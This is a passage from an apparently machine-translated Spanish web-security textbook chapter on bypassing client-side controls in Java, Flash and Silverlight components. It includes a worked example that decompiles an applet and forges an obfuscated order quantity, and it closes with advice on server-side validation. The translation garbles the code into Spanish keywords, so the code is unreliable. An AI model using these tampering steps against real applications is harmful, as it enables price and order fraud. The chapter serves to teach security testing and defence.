Silverlight se empaquetan como archivos .xap . Ambos tipos de archivos usan el formato de archivo zip,
por lo que puede descomprimirlos fácilmente cambiando el nombre de los archivos con la extensión .zip y
luego usando cualquier lector zip para descomprimirlos en los archivos individuales que contienen. El
código de bytes de Java está contenido en archivos .class y el código de bytes de Silverlight está contenido
en archivos .dll . Después de descomprimir el paquete de archivos relevante, debe descompilar estos
archivos para obtener el código fuente.
Los objetos Flash se empaquetan como archivos .swf y no es necesario desempaquetarlos
antes de usar un descompilador.
Para realizar la descompilación del código de bytes real, debe utilizar algunas herramientas específicas,
según el tipo de tecnología de extensión del navegador que se utilice, como se describe en las siguientes
secciones.
Herramientas Java
El código de bytes de Java se puede descompilar en el código fuente de Java usando una herramienta llamada
Jad (el descompilador de Java), que está disponible en:
www.varaneckas.com/jad
Herramientas flash
El código de bytes de Flash se puede descompilar en el código fuente de ActionScript. Un enfoque

alternativo , que a menudo es más efectivo, es desensamblar el código de bytes en una forma legible por
humanos, sin descompilarlo completamente en el código fuente.
Para descompilar y desensamblar Flash, puede usar las siguientes herramientas:
n Flasm — www.nowrap.de/flasm
n Llamarada — www.nowrap.de/flare
n SWFScan: www.hp.com/go/swfscan (esto funciona para Actionscript 2 y 3)
Herramientas de
Silverlight El código de bytes de Silverlight se puede descompilar en código fuente usando una herramienta
llamada .NET Refl ector, que está disponible en:
www.red-gate.com/products/dotnet-development/reflector/
Trabajando en el código fuente

Una vez obtenido el código fuente del componente, o algo parecido , puede adoptar varios enfoques
para atacarlo. Generalmente, el primer paso es revisar el código fuente para comprender cómo
funciona el componente y qué funcionalidad contiene oa la que hace referencia. Aquí hay algunos
elementos que debe buscar:
n Validación de entrada u otra lógica y eventos relevantes para la seguridad que ocurren en el
lado del cliente
n Rutinas de ofuscación o cifrado que se utilizan para envolver los datos proporcionados por el
usuario antes de que se envíen al servidor
n Funcionalidad del lado del cliente "oculta" que no está visible en su interfaz de usuario pero
que puede desbloquear modificando el componente n Referencias a la funcionalidad del
lado del servidor que no ha identificado previamente a través de la asignación de su aplicación
A menudo, al revisar el código fuente se descubren algunas funciones interesantes

dentro del componente que desea modificar o manipular para identificar posibles
vulnerabilidades de seguridad. Esto puede incluir la eliminación de la validación de
entrada del lado del cliente, el envío de datos no estándar al servidor, la manipulación
de estados o eventos del lado del cliente o la invocación directa de la funcionalidad
que está presente en el componente.
Puede modificar el comportamiento del componente de varias maneras, como se describe en
las siguientes secciones.
Recompilación y ejecución dentro del navegador Puede
modificar el código fuente descompilado para cambiar el comportamiento del componente, volver
a compilarlo en código de bytes y ejecutar el componente modificado dentro de su navegador. A
menudo se prefiere este enfoque cuando se necesita manipular eventos clave del lado del cliente,
como el lanzamiento de dados en una aplicación de juegos.
Para realizar la recompilación, debe usar las herramientas de desarrollador que son relevantes
para la tecnología que está usando:
n Para Java, use el programa javac en el JDK para volver a compilar su

código fuente.
n Para Flash, puede usar flasm para volver a ensamblar su código de bytes modificado o
uno de los estudios de desarrollo de Flash de Adobe para volver a compilar el código
fuente de ActionScript modificado.
n Para Silverlight, use Visual Studio para volver a compilar su código fuente modificado.
Después de volver a compilar su código fuente en uno o más archivos de código de bytes,
es posible que deba volver a empaquetar el archivo distribuible si es necesario para la
tecnología que se utiliza. Para Java y Silverlight, reemplace los archivos de bytecode modificados en su
archivo desempaquetado, vuelva a empaquetar usando una utilidad zip y luego cambie la
extensión de nuevo a .jar o .xap según corresponda.
El paso final es cargar su componente modificado en su navegador para que sus cambios
surtan efecto dentro de la aplicación que está probando. Puedes lograr esto de varias maneras:
n Si puede encontrar el archivo físico dentro del caché en disco de su navegador que contiene
el ejecutable original, puede reemplazarlo con su versión modificada y reiniciar su
navegador. Este enfoque puede ser difícil si su navegador no usa un archivo individual
diferente para cada recurso almacenado en caché.
o si el almacenamiento en caché de los componentes de la extensión del navegador se implementa solo
en la memoria.
n Usando su proxy de interceptación, puede modificar el código fuente de la página que carga
el componente y especificar una URL diferente, apuntando al sistema de archivos local o
al servidor web que usted controla. Este enfoque normalmente es difícil porque cambiar el
dominio desde el cual se carga el componente puede violar la política del mismo origen
del navegador y puede requerir reconfigurar su navegador u otros métodos para debilitar
esta política.
n Puede hacer que su navegador vuelva a cargar el componente desde el servidor original
(como se describe en la sección anterior "Descarga del código de bytes"), use su proxy
para interceptar la respuesta que contiene el ejecutable y reemplace el cuerpo del mensaje
con su modificado versión. En Burp Proxy, puede usar la opción de menú contextual Pegar
desde archivo para lograr esto. Este enfoque suele ser el más fácil y el menos probable
de encontrarse con los problemas descritos anteriormente.
Recompilación y ejecución fuera del navegador En algunos

casos, no es necesario modificar el comportamiento del componente mientras se ejecuta. Por
ejemplo, algunos componentes de la extensión del navegador validan la entrada proporcionada
por el usuario y luego ofuscan o encriptan el resultado antes de enviarlo al servidor. En esta
situación, es posible que pueda modificar el componente para realizar la ofuscación o el cifrado
necesarios en una entrada arbitraria no validada y simplemente generar el resultado localmente.
Luego puede usar su proxy para interceptar la solicitud relevante cuando el componente original
envía la entrada validada, y puede reemplazar esto con el valor que generó su componente
modificado.
Para llevar a cabo este ataque, debe cambiar el ejecutable original, que está diseñado para
ejecutarse dentro de la extensión del navegador relevante, en un programa independiente que se
puede ejecutar en la línea de comandos. La forma en que esto se hace depende del lenguaje de
programación que se utilice. Por ejemplo, en Java simplemente necesita implementar un método
principal . La sección "Applets de Java: un ejemplo resuelto" ofrece un ejemplo de cómo hacerlo.
Manipulación del componente original mediante JavaScript En algunos
casos, no es necesario modificar el código de bytes del componente. En su lugar, puede lograr sus objetivos
modificando el JavaScript dentro de la página HTML que interactúa con el componente.
Después de revisar el código fuente del componente, puede identificar todos sus
métodos públicos que se pueden invocar directamente desde JavaScript y la forma en que
se manejan los parámetros de esos métodos. A menudo, hay más métodos disponibles de
los que se llaman desde las páginas de la aplicación, y también puede descubrir más sobre
el propósito y el manejo de los parámetros de estos métodos.
Por ejemplo, un componente puede exponer un método que se puede invocar para
habilitar o deshabilitar partes de la interfaz de usuario visible. Usando su proxy de
interceptación, puede editar la página HTML que carga el componente y modificar o agregar
JavaScript para desbloquear partes de la interfaz que están ocultas.
PASOS DE HACK
1. Utilice las técnicas descritas para descargar el código de bytes del componente,
descomprimirlo y descompilarlo en código fuente.
2. Revise el código fuente relevante para comprender qué procesamiento se está realizando.
realizado.
3. Si el componente contiene métodos públicos que se pueden manipular para lograr su
objetivo, intercepte una respuesta HTML que interactúe con el componente y
agregue algo de JavaScript para invocar los métodos apropiados usando su entrada.
4. De lo contrario, modifique el código fuente del componente para lograr su objetivo y

luego vuelva a compilarlo y ejecutarlo, ya sea en su navegador o como un programa
independiente.
5. Si el componente se usa para enviar datos ofuscados o encriptados al servidor, use
su versión modificada del componente para enviar varias cadenas de ataque
adecuadamente ofuscadas al servidor para detectar vulnerabilidades, como lo haría
con cualquier otro parámetro.
Hacer frente a la ofuscación de bytecode

Debido a la facilidad con la que se puede descompilar el código de bytes para
recuperar su fuente, se han desarrollado varias técnicas para ofuscar el código de bytes en sí.
La aplicación de estas técnicas da como resultado un código de bytes que es más difícil de
descompilar o que se descompila en un código fuente engañoso o inválido que puede ser
muy difícil de entender e imposible de volver a compilar sin un esfuerzo considerable. Por
ejemplo, considere la siguiente fuente de Java ofuscada:
paquete miaplicacion.interfaz;
import myapp.class.public; importar

myapp.throw.throw;
importar si.si.si.si.si no; importar

java.awt.event.KeyEvent;
clase pública doble extiende implementos públicos estrictos

{
público doble (j j1)
{
_mthif(); _fldif
= j1;
} privado void _mthif(ActionEvent actionevent)

{
_mthif(((KeyEvent) (nulo)));
interruptor(_fldif._mthnew()._fldif)
{
caso 0:
_fldfloat.setEnabled(falso);
_fldboolean.setEnabled(falso);
_fldistanceof.setEnabled(falso); _fldint.setEnabled(falso);
descanso;
...
Las técnicas de ofuscación comúnmente empleadas son las siguientes:
n Los nombres significativos de clases, métodos y variables miembro se reemplazan con

expresiones sin significado, como a, b y c. Esto obliga al lector del código descompilado a
identificar el propósito de cada elemento estudiando cómo se usa. Esto puede dificultar el
seguimiento de diferentes elementos mientras se rastrean a través del código fuente.
n Más allá, algunos ofuscadores reemplazan los nombres de los elementos con palabras clave
reservadas para el idioma, como nuevo e int. Aunque técnicamente esto hace que el código de
bytes sea ilegal, la mayoría de las máquinas virtuales (VM) toleran el código ilegal y se ejecuta
normalmente. Sin embargo, incluso si un descompilador puede manejar el código de bytes
ilegal, el código fuente resultante es incluso menos legible que el que se acaba de describir.
Más importante aún, la fuente no se puede volver a compilar sin una extensa reelaboración para
renombrar constantemente los elementos con nombres ilegales.
Muchos ofuscadores eliminan la depuración y la metainformación innecesarias del código de bytes,

incluidos los nombres de los archivos de origen y los números de línea (lo que hace que los
seguimientos de la pila sean menos informativos), los nombres de las variables locales (lo que
frustra la depuración ) y la información de clase interna (que detiene la reflexión de trabajando
apropiadamente).
n Se puede agregar código redundante que cree y manipule varios tipos de datos de manera
significativa, pero que sea independiente de los datos reales que la funcionalidad de la aplicación
utiliza.
n La ruta de ejecución a través del código se puede modificar de formas enrevesadas,

mediante el uso de instrucciones de salto, de modo que la secuencia lógica de
ejecución es difícil de discernir cuando se lee el código fuente descompilado. n Pueden
introducirse construcciones de programación ilegales, como declaraciones inalcanzables
y rutas de código con declaraciones de retorno faltantes . La mayoría de las máquinas
virtuales toleran estos fenómenos en código de bytes, pero la fuente descompilada no
se puede volver a compilar sin corregir el código ilegal.
PASOS DE HACK
Las tácticas efectivas para hacer frente a la ofuscación del código de bytes dependen
de las técnicas utilizadas y el propósito para el que está analizando la fuente. Aquí hay
algunas sugerencias:
1. Puede revisar un componente para métodos públicos sin estar totalmente bajo
de pie la fuente. Debería ser obvio qué métodos se pueden invocar desde JavaScript
y cuáles son sus firmas, lo que le permite probar el comportamiento de los métodos
pasando varias entradas.
2. Si los nombres de clase, método y variable miembro se han reemplazado con

expresiones sin sentido (pero no palabras especiales reservadas por el lenguaje
de programación), puede usar la funcionalidad de refactorización integrada en
muchos IDE para comprender el código. Al estudiar cómo se usan los elementos,
puede comenzar a asignarles nombres significativos. Si usa la herramienta de
cambio de nombre dentro del IDE, hace mucho trabajo por usted, rastreando el uso
del elemento en todo el código base y renombrándolo en todas partes.
3. En realidad, puede deshacer una gran cantidad de ofuscación ejecutando el código

de bytes ofuscado a través de un ofuscador por segunda vez y eligiendo las opciones adecuadas.
Un ofuscador útil para Java es Jode. Puede eliminar rutas de código redundantes
agregadas por otro ofuscador y facilitar el proceso de comprensión de nombres
ofuscados mediante la asignación de nombres únicos a nivel mundial a los elementos.
Applets de Java: un ejemplo resuelto

Ahora consideraremos un breve ejemplo de descompilación de extensiones de navegador
observando una aplicación de compras que realiza la validación de entrada dentro de un
applet de Java.
En este ejemplo, el formulario que envía la cantidad de pedido solicitada por el usuario
tiene este aspecto:
<form method=”post” action=”Shop.aspx?prod=2” onsubmit=”return

validarForma(esto)”>
<tipo de entrada = "oculto" nombre = "obfpad"
valor=”klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigj
UQm8CIP5HJxpidrPOuQPw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEU
D9SmG7c”>
<script>
function validarForm(elFormulario)
{
var obfquantity =
document.CheckQuantityApplet.doCheck( theForm.quantity.value,
theForm.obfpad.value); si (obfcantidad == indefinido)
{
alert('Ingrese una cantidad válida.');
falso retorno;
} theForm.quantity.value = obfquantity;
devolver verdadero;
} </script>
<applet code=”CheckQuantity.class” codebase=”/scripts” width=”0” height=”0” id=”CheckQuantityApplet”></
applet>
Producto: Samsung Multiverso <br/>

Precio: 399 <br/>
<br/>
</formulario>
Cuando el formulario se presenta con una cantidad de 2, se realiza la siguiente solicitud:
POST /tienda/154/Tienda.aspx?prod=2 HTTP/1.1

obfpad=klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5
HJxpidrPOuQ
Pw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEUD9SmG7c&quantity=4b282c510f
776a405f465
877090058575f445b536545401e4268475e105b2d15055c5d5204161000
Como puede ver en el código HTML, cuando se envía el formulario, el script de validación
pasa la cantidad suministrada por el usuario y el valor del parámetro obfpad a un subprograma
de Java llamado CheckQuantity. Aparentemente, el applet realiza la validación de entrada
necesaria y devuelve al script una versión ofuscada de la cantidad, que luego se envía al
servidor.
Dado que la aplicación del lado del servidor confirma nuestro pedido de dos unidades, está
claro que el parámetro de cantidad de alguna manera contiene el valor que hemos solicitado.
Sin embargo, si tratamos de modificar este parámetro sin conocer el algoritmo de ofuscación,
el ataque falla, presumiblemente porque el servidor no logra desempaquetar correctamente
nuestro valor ofuscado.
En esta situación, podemos usar la metodología ya descrita para descompilar el

applet de Java y entender cómo funciona. Primero, necesitamos descargar el código
de bytes para el subprograma de la URL especificada en la etiqueta del subprograma
de la página HTML:
/scripts/CheckQuantity.clase
Dado que el ejecutable no está empaquetado como un archivo .jar , no es necesario desempaquetarlo.
y podemos ejecutar Jad directamente en el archivo .class descargado :
C:\tmp>jad CheckQuantity.class Analizando

CheckQuantity.class...La versión del archivo de clase es 50.0 (solo 45.3,
46.0 y 47.0 son compatibles)
Generando CheckQuantity.jad No se pudo
descompilar completamente el método doCheck No se pudieron
resolver todos los controladores de excepciones en el método doCheck
Jad genera el código fuente descompilado como un archivo .jad , que podemos ver en
cualquier editor de texto:
// Descompilado por Jad v1.5.8f. Copyright 2001 Pavel Kouznetsov.

// Página de inicio de Jad: http://www.kpdus.com/jad.html // Opciones del
descompilador: packimports(3)
// Nombre del archivo de origen: CheckQuantity.java
importar java.applet.Applet;
clase pública CheckQuantity extiende Applet

{
Cantidad de verificación pública ()
{
}
Cadena pública doCheck (Cadena s, Cadena s1)

{
int i = 0; i =
Entero.parseInt(s); if(i <= 0 || i > 50)
devuelve nulo;
romper MISSING_BLOCK_LABEL_26;
excepción excepción; excepción;
devolver nulo;
String s2 = (nuevo StringBuilder()).append(“rand=”).append
(Math.random()).append(“&q=”).append(Integer.toString(i)).append (“&checked= verdadero”).toString();
StringBuilder constructor de cadenas = new StringBuilder(); for(int j = 0; j < s2.longitud(); j++)
{
Cadena s3 = (nuevo StringBuilder()).agregar('0').agregar
(Integer.toHexString((byte)s1.charAt((j * 19 + 7) % s1.length()) ^ s2.charAt(j))).toString();
int k = s3.longitud(); if(k > 2) s3 =

s3.subcadena(k - 2, k); constructor
de cadenas.append(s3);
devuelve constructor de cadenas.toString();

}
}
Como puede ver en la fuente descompilada, Jad ha hecho un trabajo razonable de

descompilación y el código fuente para el applet es simple. Cuando se llama al método
doCheck con la cantidad proporcionada por el usuario y los parámetros obfpad
proporcionados por la aplicación , el subprograma primero valida que la cantidad es
un número válido y está entre 1 y 50. Si es así, crea una cadena de nombre/valor
pares utilizando el formato de cadena de consulta de URL, que incluye la cantidad
validada. Finalmente, ofusca esta cadena realizando operaciones XOR contra
caracteres con la cadena obfpad que proporcionó la aplicación. Esta es una forma
bastante fácil y común de agregar algo de ofuscación superficial a los datos para evitar manipulaciones
Hemos descrito varios enfoques que puede tomar cuando haya descompilado y
analizado el código fuente para un componente de extensión del navegador. En este
caso, la forma más fácil de subvertir el applet es la siguiente:
1. Modifique el método doCheck para eliminar la validación de entrada, lo que le permite

proporcionar una cadena arbitraria como su cantidad.
2. Agregue un método principal que le permita ejecutar el componente modificado
desde la línea de comando. Este método simplemente llama al método doCheck
modificado e imprime el resultado ofuscado en la consola.
Cuando haya realizado estos cambios, el código fuente modificado es el siguiente:
clase pública CheckQuantity

{
public static void main(String[] a)
{
System.out.println(doCheck(“999”,
“klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5HJxpi
drPOuQPw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEUD9 SmG7c”)).
}
Cadena estática pública doCheck (String s, String s1)

{
Cadena s2 = (nuevo StringBuilder()).append(“rand=”).append
(Math.random()).append(“&q=”).append(s).append (“&checked=true”).toString();
StringBuilder constructor de cadenas = new StringBuilder(); for(int j = 0; j <
s2.longitud(); j++)
{
Cadena s3 = (nuevo StringBuilder()).agregar('0').agregar
(Integer.toHexString((byte)s1.charAt((j * 19 + 7) % s1.length()) ^ s2.charAt(j))).toString(); int k = s3.longitud();

if(k > 2) s3 = s3.subcadena(k - 2, k); constructor de cadenas.append(s3);
}
devuelve constructor de cadenas.toString();
}
}
Esta versión del componente modificado proporciona una cadena ofuscada válida para
la cantidad arbitraria de 999. Tenga en cuenta que aquí puede usar entradas no numéricas ,
lo que le permite sondear la aplicación en busca de varios tipos de vulnerabilidades
basadas en entradas.
SUGERENCIA El programa Jad guarda su código fuente descompilado con la

extensión .jad. Sin embargo, si desea modificar y volver a compilar el código
fuente, debe cambiar el nombre de cada archivo fuente con la extensión .java.
Todo lo que queda es volver a compilar el código fuente usando el compilador javac
que viene con el SDK de Java y luego ejecutar el componente desde la línea de comandos:
C:\tmp>javac ComprobarCantidad.java C:\tmp>java

ComprobarCantidad
4b282c510f776a455d425a7808015c555f42585460464d1e42684c414a152b1e0b5a520a
145911171609
Nuestro componente modificado ahora ha realizado la ofuscación necesaria en nuestra

cantidad arbitraria de 999. Para entregar el ataque al servidor, simplemente necesitamos
enviar el formulario de pedido de la manera normal usando una entrada válida, interceptar
la solicitud resultante usando nuestro proxy y sustituya la cantidad ofuscada con la
proporcionada por nuestro componente modificado. Tenga en cuenta que si la aplicación
emite un nuevo panel de ofuscación cada vez que se carga el formulario de pedido, debe
asegurarse de que el panel de ofuscación que se envía al servidor coincida con el que se
usó para ofuscar la cantidad que también se envió.
¡INTENTALO!
Estos ejemplos demuestran el ataque que se acaba de describir y los ataques

correspondientes que utilizan las tecnologías Silverlight y Flash:
Adjuntar un depurador
La descompilación es el método más completo para comprender y comprometer una extensión
del navegador. Sin embargo, en componentes grandes y complejos que contienen decenas de
miles de líneas de código, casi siempre es mucho más rápido observar el componente durante
la ejecución, correlacionando métodos y clases con acciones clave dentro de la interfaz. Este
enfoque también evita las dificultades que pueden surgir al interpretar y volver a compilar el
código de bytes ofuscado. A menudo, lograr un objetivo específico es tan simple como ejecutar
una función clave y alterar su comportamiento para eludir los controles implementados dentro
del componente.
Debido a que el depurador funciona a nivel de código de bytes, se puede usar fácilmente
para controlar y comprender el flujo de ejecución. En particular, si el código fuente se puede
obtener a través de la descompilación, se pueden establecer puntos de interrupción en líneas
específicas de código, lo que permite que la comprensión obtenida a través de la descompilación
se apoye en la observación práctica de la ruta del código tomada durante la ejecución.
Aunque los depuradores eficientes no están completamente desarrollados para todas las
tecnologías de extensión del navegador, la depuración es compatible con los applets de Java.
Con mucho, el mejor recurso para esto es JavaSnoop, un depurador de Java que puede
integrar Jad para descompilar código fuente, rastrear variables a través de una aplicación y
establecer puntos de interrupción en métodos para ver y modificar parámetros. La Figura 5-6
muestra el uso de JavaSnoop para conectarse directamente a un applet de Java que se ejecuta
en el navegador. La figura 5-7 muestra el uso de JavaSnoop para alterar el valor de retorno de un método.
Figura 5-6: JavaSnoop puede conectarse directamente a un

subprograma que se ejecuta en el navegador
NOTA Es mejor ejecutar JavaSnoop antes de que se cargue el subprograma de destino.

JavaSnoop desactiva las restricciones establecidas por su política de seguridad de Java para que pueda
operar en el objetivo. En Windows, hace esto al otorgar todos los permisos a todos los programas Java
en su sistema, así que asegúrese de que JavaSnoop se apague limpiamente y que los permisos se
restablezcan cuando termine de trabajar.
Una herramienta alternativa para depurar Java es JSwat, que es altamente

configurable. En proyectos grandes que contienen muchos archivos de clase, a veces es preferible
para descompilar, modificar y recompilar un archivo de clase clave y luego usar JSwat para
intercambiarlo en caliente en la aplicación en ejecución. Para usar JSwat, debe iniciar un
subprograma con la herramienta appletviewer incluida en el JDK y luego conectarlo a JSwat.
Por ejemplo, podrías usar este comando:
appletviewer -J-Xdebug -J-Djava.compiler=NONE -J Xrunjdwp:transport=dt_socket,
servidor=y,suspender=n,dirección=5000 appletpage.htm
Figura 5-7: Una vez que se ha identificado un método adecuado, se puede usar
JavaSnoop para alterar el valor de retorno del método
Cuando trabaja en objetos Silverlight, puede usar la herramienta Silverlight Spy para monitorear
la ejecución del componente en tiempo de ejecución. Esto puede ser de gran ayuda para
correlacionar las rutas de código relevantes con los eventos que ocurren dentro de la interfaz de usuario.
Silverlight Spy está disponible en la siguiente URL:
http://firstfloorsoftware.com/SilverlightSpy/
Componentes de cliente nativo

Algunas aplicaciones necesitan realizar acciones dentro de la computadora del usuario que no se
pueden realizar desde dentro de un espacio aislado de VM basado en navegador. En términos de
controles de seguridad del lado del cliente, estos son algunos ejemplos de esta funcionalidad:
n Verificar que un usuario tenga un escáner de virus actualizado n Verificar
que la configuración del proxy y otras configuraciones corporativas estén vigentes n Integración con
un lector de tarjetas inteligentes
Por lo general, este tipo de acciones requieren el uso de componentes de código nativo, que integran la
funcionalidad de la aplicación local con la funcionalidad de la aplicación web . Los componentes de cliente
nativos a menudo se entregan a través de controles ActiveX. Estas son extensiones de navegador
personalizadas que se ejecutan fuera del entorno limitado del navegador.
Los componentes de clientes nativos pueden ser significativamente más difíciles de descifrar que otras
extensiones de navegador, porque no existe un equivalente al código de bytes intermedio.
Sin embargo, los principios de eludir los controles del lado del cliente aún se aplican, incluso si esto requiere
un conjunto de herramientas diferente. Estos son algunos ejemplos de herramientas populares utilizadas
para esta tarea:
n OllyDbg es un depurador de Windows que se puede usar para recorrer el código ejecutable nativo,
establecer puntos de interrupción y aplicar parches a los ejecutables, ya sea en el disco o en tiempo
de ejecución.
n IDA Pro es un desensamblador que puede producir código ensamblador legible por humanos a partir
de código ejecutable nativo en una amplia variedad de plataformas.
Aunque una descripción completa está fuera del alcance de este libro, los siguientes son algunos
recursos útiles si desea obtener más información sobre la ingeniería inversa de componentes de código
nativo y temas relacionados:
n Reversing: Secrets of Reverse Engineering por Eldad Eilam n Hacker
Disassembling Uncovered por Kris Kaspersky n The Art of Software Security
Assessment por Mark Dowd, John McDonald y Justin Schuh
n Fuzzing para pruebas de seguridad de software y control de calidad (Artech House

seguridad y privacidad de la información) por Ari Takanen, Jared DeMott y
charlie molinero
n The IDA Pro Book: La guía no oficial del desensamblador más popular del mundo
por Chris Eagle
n www.acm.uiuc.edu/sigmil/RevEng
n www.uninformed.org/?v=1&a=7
Manejo de datos del lado del cliente de forma segura
Como ha visto, el principal problema de seguridad con las aplicaciones web surge porque los
componentes del lado del cliente y la entrada del usuario están fuera del control directo del servidor.
El cliente, y todos los datos recibidos de él, son intrínsecamente poco fiables.
Transmisión de datos a través del cliente

Muchas aplicaciones quedan expuestas porque transmiten datos críticos , como precios de
productos y tasas de descuento, a través del cliente de manera insegura.
Si es posible, las aplicaciones deben evitar transmitir este tipo de datos a través del cliente.
En prácticamente cualquier escenario concebible, es posible mantener dichos datos en el
servidor y hacer referencia a ellos directamente desde la lógica del lado del servidor cuando sea
necesario. Por ejemplo, una aplicación que recibe los pedidos de varios productos de los
usuarios debería permitirles enviar un código de producto y una cantidad y buscar el precio de
cada producto solicitado en una base de datos del lado del servidor. No es necesario que los
usuarios envíen los precios de los artículos al servidor. Incluso cuando una aplicación ofrece
diferentes precios o descuentos a diferentes usuarios, no hay necesidad de apartarse de este modelo.
Los precios se pueden mantener dentro de la base de datos por usuario, y las tasas de
descuento se pueden almacenar en los perfiles de usuario o incluso en los objetos de sesión.
La aplicación ya posee, del lado del servidor, toda la información que necesita para calcular el
precio de un producto específico para un usuario específico. Debería. De lo contrario, sería
incapaz, en el modelo inseguro, de almacenar este precio en un campo de formulario oculto.
Si los desarrolladores deciden que no tienen otra alternativa que transmitir datos críticos a
través del cliente, los datos deben firmarse y/o cifrarse para evitar la manipulación por parte del
usuario. Si se toma este curso de acción, hay dos escollos importantes que se deben evitar:
n Algunas formas de usar datos firmados o encriptados pueden ser

vulnerables a ataques de reproducción. Por ejemplo, si el precio del
producto se cifra antes de almacenarse en un campo oculto, es posible
copiar el precio cifrado de un producto más económico y enviarlo en lugar del precio original.
Para evitar este ataque, la aplicación debe incluir suficiente contexto dentro de los datos
cifrados para evitar que se reproduzca en un contexto diferente. Por ejemplo, la aplicación
podría concatenar el código y el precio del producto, cifrar el resultado como un solo
artículo y luego validar que la cadena cifrada enviada con un pedido realmente coincida
con el producto solicitado.
n Si los usuarios conocen y/o controlan el valor de texto sin formato de las
cadenas cifradas que se les envían, pueden realizar varios ataques
criptográficos para descubrir la clave de cifrado que utiliza el servidor. Una
vez hecho esto, pueden cifrar valores arbitrarios y eludir por completo la
protección que ofrece la solución.
En las aplicaciones que se ejecutan en la plataforma ASP.NET, se recomienda no

almacenar nunca ningún dato personalizado dentro de ViewState , especialmente cualquier
dato confidencial que no desee que se muestre en pantalla a los usuarios. La opción para
habilitar ViewState MAC siempre debe estar activada.
Validación de datos generados por el cliente

En principio, los datos generados en el cliente y transmitidos al servidor no pueden validarse
de forma segura en el cliente:
n Los controles ligeros del lado del cliente, como los campos de formulario HTML y
JavaScript , se pueden eludir fácilmente y no brindan seguridad sobre la entrada que
recibe el servidor.
n Los controles implementados en los componentes de la extensión del navegador a

veces son más difíciles de eludir, pero esto puede simplemente ralentizar a un
atacante por un período breve.
n El uso de código del lado del cliente muy ofuscado o empaquetado proporciona
obstáculos adicionales; sin embargo, un atacante decidido siempre puede superarlos.
(Un punto de comparación en otras áreas es el uso de tecnologías DRM para evitar
que los usuarios copien archivos de medios digitales. Muchas empresas han invertido
mucho en estos controles del lado del cliente, y cada solución nueva generalmente
se rompe en poco tiempo).
La única forma segura de validar los datos generados por el cliente está en el lado del
servidor de la aplicación. Cada elemento de datos recibido del cliente debe considerarse
contaminado y potencialmente malicioso.
MITO COMÚN
A veces se cree que cualquier uso de los controles del lado del cliente es malo. En
particular, algunos probadores de penetración profesionales informan la presencia
de controles del lado del cliente como un "hallazgo" sin verificar si están replicados
en el servidor o si existe alguna explicación no relacionada con la seguridad para su
existencia. De hecho, a pesar de las importantes advertencias que surgen de los
diversos ataques descritos en este capítulo, existen formas de usar los controles del
lado del cliente que no dan lugar a ninguna vulnerabilidad de seguridad: n Los scripts
del lado del cliente se pueden usar para validar la entrada como un medio para
mejorar la usabilidad, evitando la necesidad de una comunicación de ida y
vuelta con el servidor. Por ejemplo, si el usuario ingresa su fecha de nacimiento
en un formato incorrecto, alertarlo sobre el problema a través de un script del
lado del cliente brinda una experiencia mucho más fluida. Por supuesto, la
aplicación debe revalidar el elemento enviado cuando llega al servidor.
Continuado
MITO COMÚN (continuación)
n A veces, la validación de datos del lado del cliente puede ser eficaz como
medida de seguridad, por ejemplo, como defensa contra ataques de
secuencias de comandos entre sitios basados en DOM. Sin embargo, estos son
casos en los que el foco del ataque es otro usuario de la aplicación, en lugar de
la aplicación del lado del servidor, y la explotación de una vulnerabilidad potencial
no depende necesariamente de la transmisión de datos maliciosos al servidor.
Consulte los Capítulos 12 y 13 para obtener más detalles sobre este tipo de escenario.
ÿ Como se describió anteriormente, existen formas de transmitir datos cifrados a

través del cliente que no son vulnerables a ataques de manipulación o reproducción.
Registro y alertas
Cuando una aplicación emplea mecanismos como límites de longitud y validación basada
en JavaScript para mejorar el rendimiento y la facilidad de uso, estos deben integrarse
con las defensas de detección de intrusos del lado del servidor. La lógica del lado del
servidor que realiza la validación de los datos enviados por el cliente debe tener en cuenta
la validación que ya se ha producido en el lado del cliente. Si se reciben datos que habrían
sido bloqueados por la validación del lado del cliente, la aplicación puede inferir que un
usuario está eludiendo activamente esta validación y, por lo tanto, es probable que sea malicioso.
Las anomalías deben registrarse y, si corresponde, los administradores de aplicaciones deben
ser alertados en tiempo real para que puedan monitorear cualquier intento de ataque y tomar
las medidas adecuadas según sea necesario. La aplicación también puede defenderse
activamente cerrando la sesión del usuario o incluso suspendiendo su cuenta.
NOTA En algunos casos en los que se emplea JavaScript, la aplicación aún puede ser
utilizada por usuarios que han deshabilitado JavaScript en sus navegadores. En esta
situación, el navegador simplemente omite el código de validación de formulario
basado en JavaScript y se envía la entrada sin procesar ingresada por el usuario. Para
evitar falsos positivos, el mecanismo de registro y alerta debe saber dónde y cómo puede surgir.
Resumen
Prácticamente todas las aplicaciones cliente/servidor deben aceptar el hecho de que no se
puede confiar en que el componente cliente y todo el procesamiento que se produce en él se
comporte como se espera. Como ha visto, los métodos de comunicación transparentes que
generalmente emplean las aplicaciones web significan que un atacante equipado con
herramientas simples y habilidades mínimas puede eludir fácilmente la mayoría de los controles
implementados en el cliente. Incluso cuando una aplicación intenta ofuscar los datos y el
procesamiento que residen en el lado del cliente, un atacante determinado puede comprometer estas defensas.
En cada instancia en la que identifique datos que se transmiten a través del cliente, o
la validación de la entrada proporcionada por el usuario que se implementa en el cliente,
debe probar cómo responde el servidor a los datos inesperados que eluden esos controles.
A menudo, graves vulnerabilidades acechan detrás de las suposiciones de una aplicación sobre la
protección que le brindan las defensas que se implementan en el cliente.
Preguntas
1. ¿Cómo se pueden transmitir los datos a través del cliente de una manera que evite la manipulación?
ing ataques?
2. Un desarrollador de aplicaciones quiere evitar que un atacante realice ataques de fuerza bruta
contra la función de inicio de sesión. Debido a que el atacante puede apuntar a múltiples
nombres de usuario, el desarrollador decide almacenar el número de intentos fallidos en una
cookie cifrada, bloqueando cualquier solicitud si el número de intentos fallidos supera los cinco.
¿Cómo se puede eludir esta defensa?
3. Una aplicación contiene una página administrativa que está sujeta a rigurosos controles de
acceso. Contiene enlaces a funciones de diagnóstico ubicadas en un servidor web diferente. El
acceso a estas funciones también debe estar restringido
sólo a los administradores. Sin implementar un segundo mecanismo de
autenticación , ¿cuál de los siguientes mecanismos del lado del cliente (si
